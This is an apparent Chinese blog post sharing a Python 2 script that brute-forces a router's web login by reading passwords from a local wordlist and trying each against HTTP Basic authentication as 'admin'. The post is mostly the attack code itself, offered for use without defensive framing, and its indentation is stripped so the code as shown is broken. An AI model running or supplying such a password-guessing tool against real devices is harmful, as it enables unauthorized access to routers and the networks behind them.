shuichon

路由器暴力破解脚本后续(2013-05-27更新)

后续的所有更新,请参考:

https://code.google.com/p/router-crack/

 

#! /usr/bin/env python
#coding=utf-8

import urlparse
import urllib2
import base64
import sys
import re

#登录的主页面
theurl = 'https://X.Y.Z.1'

username = 'admin'
req = urllib2.Request(theurl)
PWF=open(r'F:\passwd.txt','r')
for line in PWF:
print 'the pw is '+line
password = line
base64string = base64.encodestring('%s:%s' % (username, password))[:-1] #注意,这里最后会自动添加一个\n
print 'base64 is '+base64string
authheader =  "Basic %s" % base64string
req.add_header("Authorization", authheader)

try:
content_stream = urllib2.urlopen(req)
page = content_stream.read()
print page
except IOError, e:
print '===============err==================='
if hasattr(e, 'code'):
if e.code != 401:
#            print 'We got another error'
print e.code
else:
print '===============0==================='
print e.code
print e.headers
print '===============1==================='
print e.headers['www-authenticate']
print '===============end==================='
PWF.close()
# here we shouldn't fail if the username/password is right
print "username or password is wrong."

评论